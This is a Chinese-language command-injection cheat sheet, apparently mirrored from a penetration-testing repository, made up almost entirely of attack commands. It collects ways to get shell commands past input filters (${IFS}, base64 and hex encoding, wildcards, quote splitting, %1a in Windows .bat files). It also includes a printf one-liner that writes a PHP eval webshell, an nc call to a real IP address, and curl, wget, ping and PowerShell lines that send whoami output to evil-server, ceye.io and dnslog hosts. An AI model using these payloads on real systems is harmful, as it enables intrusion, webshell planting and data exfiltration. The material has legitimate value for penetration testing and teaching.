mirror of
https://github.com/Mr-xn/Penetration_Testing_POC.git
synced 2025-08-13 11:28:28 +00:00
359 lines
7.3 KiB
Markdown
359 lines
7.3 KiB
Markdown
![]() |
## 命令注入总结
|
|||
|
|
|||
|
## 直接执行代码
|
|||
|
|
|||
|
PHP 中有不少可以直接执行代码的函数。
|
|||
|
|
|||
|
```
|
|||
|
eval();
|
|||
|
assert();
|
|||
|
system();
|
|||
|
exec();
|
|||
|
shell_exec();
|
|||
|
passthru();
|
|||
|
escapeshellcmd();
|
|||
|
pcntl_exec();
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
preg_replace( ) 代码执行
|
|||
|
|
|||
|
preg_replace() 的第一个参数如果存在 `/e` 模式修饰符,则允许代码执行。
|
|||
|
|
|||
|
```
|
|||
|
<?php
|
|||
|
$var = "<tag>phpinfo()</tag>";
|
|||
|
preg_replace("/<tag>(.*?)<\/tag>/e", "addslashes(\\1)", $var);
|
|||
|
?>
|
|||
|
```
|
|||
|
|
|||
|
若无 `/e` 修饰符,则可以尝试 %00 截断。
|
|||
|
|
|||
|
## 重定向
|
|||
|
|
|||
|
- cmd > file
|
|||
|
把cmd命令的输出重定向到文件file中。如果file已经存在,则清空原有文件,使用bash的noclobber选项可以防止复盖原有文件。
|
|||
|
|
|||
|
- cmd >> file
|
|||
|
把cmd命令的输出重定向到文件file中,如果file已经存在,则把信息加在原有文件后面。
|
|||
|
|
|||
|
- cmd < file
|
|||
|
使cmd命令从file读入
|
|||
|
|
|||
|
- cmd << text
|
|||
|
从命令行读取输入,直到一个与text相同的行结束。除非使用引号把输入括起来,此模式将对输入内容进行shell变量替换。如果使用`<<-` ,则会忽略接下来输入行首的tab,结束行也可以是一堆tab再加上一个与text相同的内容,可以参考後面的例子。
|
|||
|
|
|||
|
- cmd <<< word
|
|||
|
把word(而不是文件word)和后面的换行作为输入提供给cmd。
|
|||
|
|
|||
|
- cmd <> file
|
|||
|
以读写模式把文件file重定向到输入,文件file不会被破坏。仅当应用程序利用了这一特性时,它才是有意义的。
|
|||
|
|
|||
|
- cmd >| file
|
|||
|
功能同>,但即便在设置了noclobber时也会复盖file文件,注意用的是|而非一些书中说的!,目前仅在csh中仍沿用`>!`实现这一功能。
|
|||
|
|
|||
|
- : > filename
|
|||
|
|
|||
|
把文件`filename`截断为0长度。如果文件不存在, 那么就创建一个0长度的文件(与`touch`的效果相同).
|
|||
|
|
|||
|
- cmd >&n
|
|||
|
|
|||
|
把输出送到文件描述符n
|
|||
|
|
|||
|
- cmd m>&n
|
|||
|
|
|||
|
把输出到文件符m的信息重定向到文件描述符n
|
|||
|
|
|||
|
- cmd >&-
|
|||
|
|
|||
|
关闭标准输出
|
|||
|
|
|||
|
- cmd <&n
|
|||
|
|
|||
|
输入来自文件描述符n
|
|||
|
|
|||
|
- cmd m<&n
|
|||
|
|
|||
|
m来自文件描述各个n
|
|||
|
|
|||
|
- cmd <&-
|
|||
|
|
|||
|
关闭标准输入
|
|||
|
|
|||
|
- cmd <&n-
|
|||
|
|
|||
|
移动输入文件描述符n而非复制它。
|
|||
|
|
|||
|
- cmd >&n-
|
|||
|
|
|||
|
移动输出文件描述符n而非复制它。
|
|||
|
注意: `>&`实际上复制了文件描述符,这使得`cmd > file 2>&1`与`cmd 2>&1 >file`的效果不一样。
|
|||
|
|
|||
|
## 读文件
|
|||
|
|
|||
|
```
|
|||
|
cat flag /{cat,flag}
|
|||
|
more flag
|
|||
|
less flag
|
|||
|
bzmore flag
|
|||
|
bzless flag
|
|||
|
head flag
|
|||
|
tail flag
|
|||
|
tailf flag
|
|||
|
tac flag
|
|||
|
nl flag
|
|||
|
od -a flag
|
|||
|
|
|||
|
fire flag
|
|||
|
wc flag
|
|||
|
uniq flag
|
|||
|
diff flag flag1.txt
|
|||
|
sed -n '1,2p' flag
|
|||
|
find -P flag
|
|||
|
strings flag
|
|||
|
curl file:///root/flag
|
|||
|
sort flag
|
|||
|
bash -v flag
|
|||
|
rev flag
|
|||
|
paste ./flag.txt /etc/passwd
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
## Bypass
|
|||
|
|
|||
|
### 多条命令
|
|||
|
|
|||
|
```
|
|||
|
%0a、%0d 换行符与回车符
|
|||
|
| 第一条命令结果作为第二条命令的输入
|
|||
|
|| 第一条执行失败,执行第二条命令
|
|||
|
; 连续指令功能。
|
|||
|
& 连接的两条命令都会执行
|
|||
|
&& 当第一条执行成功后执行后续命令
|
|||
|
|
|||
|
echo 666`date` => 666Tue 14 May 2019 07:15:23 AM EDT
|
|||
|
|
|||
|
# Windows
|
|||
|
Copy %0a
|
|||
|
|
|||
|
%1a - 一个神奇的角色,作为.bat文件中的命令分隔符
|
|||
|
<?php
|
|||
|
$command = 'dir '.$_POST['dir'];
|
|||
|
$escaped_command = escapeshellcmd($command);
|
|||
|
file_put_contents('out.bat',$escaped_command);
|
|||
|
system('out.bat');
|
|||
|
?>
|
|||
|
```
|
|||
|
|
|||
|
### 绕过 escapeshellcmd
|
|||
|
|
|||
|
- win 下执行 bat
|
|||
|
|
|||
|
```
|
|||
|
<?php
|
|||
|
$command = 'dir '.$_POST['dir'];
|
|||
|
$escaped_command = escapeshellcmd($command);
|
|||
|
var_dump($escaped_command);
|
|||
|
file_put_contents('out.bat',$escaped_command);
|
|||
|
system('out.bat');
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
执行.bat文件的时候,利用%1a,可以绕过过滤执行命令。
|
|||
|
|
|||
|
```
|
|||
|
dir=../ %1a whoami
|
|||
|
```
|
|||
|
|
|||
|
### 空格
|
|||
|
|
|||
|
- ${IFS}
|
|||
|
|
|||
|
```
|
|||
|
cat${IFS}flag
|
|||
|
cat${IFS}$9flag
|
|||
|
cat$IFS$9flag
|
|||
|
cat%09flag # \0x09 是 TAB
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 重定向符<>
|
|||
|
|
|||
|
```
|
|||
|
cat<>flag
|
|||
|
cat<flag
|
|||
|
```
|
|||
|
|
|||
|
### 黑名单绕过
|
|||
|
|
|||
|
- 拼接
|
|||
|
|
|||
|
```
|
|||
|
a=c;b=at;c=flag;$a$b $c
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 利用已存在的资源
|
|||
|
|
|||
|
从已有的文件或者环境变量中获得相应的字符。
|
|||
|
|
|||
|
- 编码
|
|||
|
|
|||
|
```
|
|||
|
`echo "Y2F0IGZsYWc="|base64 -d`
|
|||
|
echo "Y2F0IGZsYWc="|base64 -d|bash
|
|||
|
|
|||
|
$(printf "\x63\x61\x74\x20\x66\x6c\x61\x67")
|
|||
|
|
|||
|
#可以通过这样来写webshell,内容为<?php @eval($_POST['c']);?>
|
|||
|
$ {printf,"\74\77\160\150\160\40\100\145\166\141\154\50\44\137\120\117\123\124\133\47\143\47\135\51\73\77\76"} >> 1.php
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 单引号、双引号
|
|||
|
|
|||
|
```
|
|||
|
c""at fl''ag
|
|||
|
c'a't f'l'ag
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 反斜线 \
|
|||
|
|
|||
|
```
|
|||
|
c\at fl\ag
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 通配符
|
|||
|
|
|||
|
```
|
|||
|
/?in/?s => ls
|
|||
|
|
|||
|
* 0到无穷个任意字符
|
|||
|
? 一个任意字符
|
|||
|
[ ] 一个在括号内的字符,e.g. [abcd]
|
|||
|
[ - ] 在编码顺序内的所有字符
|
|||
|
[^ ] 一个不在括号内的字符
|
|||
|
[! ] 同 ^
|
|||
|
cat fl[0-z]g
|
|||
|
|
|||
|
echo d{a,e,i,u,o}g => dag deg dig dug dog
|
|||
|
echo {fl,fla}{ag,g} => flag flg flaag flag
|
|||
|
echo fl{0..z}g => fl1g,fl2g,...,flyg,flzg
|
|||
|
|
|||
|
花括号拓展{OS_COMMAND,ARGUMENT}
|
|||
|
在Linux bash中还可以使用{cat,/etc/passwd}来绕过
|
|||
|
这里没实验成功
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 未定义变量
|
|||
|
|
|||
|
```
|
|||
|
cat$x /etc/passwd
|
|||
|
```
|
|||
|
|
|||
|
- 可变函数
|
|||
|
|
|||
|
```
|
|||
|
(sy.(st).em)(whoami)
|
|||
|
$_GET[a]($_GET[b].$_GET[c])
|
|||
|
|
|||
|
获取内置函数 system 的索引后,直接执行
|
|||
|
get_defined_functions()[internal] | grep ststem
|
|||
|
get_defined_functions()[internal][381](whoami)
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- `$@`
|
|||
|
|
|||
|
```
|
|||
|
$ c$@at fl$@ag
|
|||
|
flag{xxx}
|
|||
|
|
|||
|
$ echo i$@d
|
|||
|
id
|
|||
|
|
|||
|
$ i$@d
|
|||
|
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
|
|||
|
|
|||
|
$ echo i$@d|$0
|
|||
|
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
|
|||
|
|
|||
|
$ echo {nc,47.101.220.241,2333}|$0
|
|||
|
直接连 nc 了。。。$0 好牛逼?
|
|||
|
$0 就相当于 bash 另外 $n 表示命令行第 n 个参数
|
|||
|
|
|||
|
$ $0<<<i$@d
|
|||
|
uid=1000(wywwzjj) gid=1000(wywwzjj) groups=1000(wywwzjj)
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
- 利用已经存在的资源
|
|||
|
|
|||
|
```
|
|||
|
$ echo $PATH
|
|||
|
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
|
|||
|
|
|||
|
$ echo $PATH| cut -c 1
|
|||
|
/
|
|||
|
|
|||
|
$ echo $PATH| cut -c 1-4
|
|||
|
/usr
|
|||
|
```
|
|||
|
|
|||
|
- ${PS2} 对应字符 ‘>’
|
|||
|
- ${PS4} 对应字符 ‘+’
|
|||
|
- ${IFS} 对应 内部字段分隔符
|
|||
|
- ${9} 对应 空字符串
|
|||
|
|
|||
|
### 无回显
|
|||
|
|
|||
|
- 弹 shell
|
|||
|
- DNS 外带数据
|
|||
|
|
|||
|
```
|
|||
|
curl "http://testhash.test.dnslog.link/?`whoami`"
|
|||
|
```
|
|||
|
|
|||
|
- HTTP 外带
|
|||
|
|
|||
|
```
|
|||
|
# linux
|
|||
|
curl http://evil-server/`whoami`
|
|||
|
wget http://evil-server/$(whoami)
|
|||
|
curl xxxx.ceye.io/`whoami`
|
|||
|
curl http://xxxx.ceye.io/$(id|base64)
|
|||
|
ping -c 1 `whoami`.xxxx.ceye.io
|
|||
|
|
|||
|
# windows
|
|||
|
http:
|
|||
|
for /F %x in ('whoami') do start http://xxx.ceye.io/%x
|
|||
|
dns请求:
|
|||
|
获取计算机名:for /F "delims=" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
|
|||
|
获取用户名:for /F "delims= tokens=2" %i in ('whoami') do ping -n 1 %i.xxx.dnslog.info
|
|||
|
|
|||
|
for /F %x in ('whoami') do powershell $a=[System.Convert]::ToBase64String([System.Text.Encoding]::UTF8.GetBytes('%x'));$b=New-Object System.Net.WebClient;$b.DownloadString('http://xxx.ceye.io/'+$a);
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
### 长度限制
|
|||
|
|
|||
|
- 文件构造(参考橘子那个 hitcon)
|
|||
|
|
|||
|
```
|
|||
|
>w
|
|||
|
将会创建一个名字为 w 的空文件。
|
|||
|
|
|||
|
```
|
|||
|
|
|||
|
工具
|
|||
|
|
|||
|
- [shelling](https://github.com/ewilded/shelling)
|
|||
|
|
|||
|
## 参考链接
|
|||
|
|
|||
|
[巧用命令注入的 N 种姿势](https://mp.weixin.qq.com/s/Hm6TiLHiAygrJr-MGRq9Mw)
|
|||
|
|
|||
|
[命令执行的一些绕过技巧](https://chybeta.github.io/2017/08/15/%E5%91%BD%E4%BB%A4%E6%89%A7%E8%A1%8C%E7%9A%84%E4%B8%80%E4%BA%9B%E7%BB%95%E8%BF%87%E6%8A%80%E5%B7%A7/)
|